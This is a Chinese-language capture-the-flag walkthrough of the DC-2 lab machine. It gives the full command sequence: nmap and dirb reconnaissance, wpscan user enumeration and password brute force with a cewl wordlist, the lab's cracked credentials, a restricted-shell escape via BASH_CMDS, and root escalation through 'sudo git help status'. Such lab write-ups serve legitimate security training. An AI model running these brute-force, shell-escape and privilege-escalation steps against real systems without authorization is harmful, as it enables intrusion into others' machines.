DC-2 通关详解

信息收集：寻找靶机真实ip

nmap -sP 192.168.93.0/24

信息收集：探端口及服务

nmap -A -p- -v 192.168.93.131

发现开放了80端口，存在web服务，Apache/2.4.10，

 发现开放了7744端口，开放了ssh服务，OpenSSH 6.7p1

访问web站点

http:// 192.168.93.131

发现访问不了，且发现我们输入的ip地址自动转化为了域名，我们想到dc-2这个域名解析失败，我们需要更改hosts文件，添加一个ip域名指向。

修改hosts文件，添加靶机IP到域名dc-2的指向

vim /etc/hosts

添加成功后 再次访问 访问成功

 可以很明显的发现这是一个wordpress的站点

发现flag1

在网页下面我们flag

点进入发现是flag1

做一个目录扫描

dirb http://dc-2/

发现疑似后台地址

打开后进入到登入页

用名枚举

wpscan --url http://dc-2

wpscan --url http://dc-2 --enumerate t 扫描主题

wpscan --url http://dc-2 --enumerate p 扫描插件

wpscan --url http://dc-2 --enumerate u 枚举用户

    扫描wordpress版本

wpscan --url http://dc-2

 发现wordpress的版本4.7.10

 登录页面尝试登录
随即输入用户名密码，提示用户名不存在，似乎可以进行用户名枚举

 

首先来个用户枚举，再尝试利用枚举到的用户爆破密码

wpscan --url http://dc-2 --enumerate u

 枚举出三个用户名

admin jerry tom

暴力破解出密码

cewl http://dc-2/ -w dc2.txt   或者 cewl http://dc-2/ > 1.txt 

使用wpscan进行暴力破解

wpscan --url http://dc-2 --passwords dc2.txt

 

  爆破出来两个账号 

jerry/adipiscing

tom/parturient

jerry/adipiscing登录此站点

 tom/parturient登陆此站点

发现flag2

    登录后台之后，我们看到flag2，我用的是jerry的账号

 

 点进去之后看到flag2提示信息，简单说就是如果wordpress行不通的话就会一个点，我们之前发现有ssh，我们看看ssh 

 在tom的家目录发现flag3

jerry/adipiscing

tom/parturient

    登录ssh

 在tom账号的家目录 发现flag3
cat用不了

 

我这里把查看命令都尝试了一遍 less和vi可以来查看，

提示内容如下

接下来，尝试rbash绕过详情参考 https://xz.aliyun.com/t/7642

查看可以使用的命令

echo $PATH

 cd进不去目录 使用ls直接查看目录信息 

 

使用echo来绕过rbash

BASH_CMDS[a]=/bin/sh;a

export PATH=$PATH:/bin/

export PATH=$PATH:/usr/bin

echo /*

 在jerry的家目录发现flag4

 

看到信息提示如下

 大致意思就是还没有结束。猜想需要提权才能获取到最终的flag，并且flag4 提示我们可以使用git，我们可以通过git来提权

    使用tom用户无权限运行sudo 我们切换到jerry用户

    我们可以看到无需root权限，jerry 可以使用 git

sudo -l  

 提权

查看一下可以使用的root权限命令

find / -user root -perm -4000 -print 2>/dev/null

 jerry用户也不可以直接sudo su

 

 使用git命令进行提取

sudo git help status

输入!/bin/sh，直接输入就行 

提权成功

发现final-flag.txt

cd /root

cat final-flag.txt

实验结束！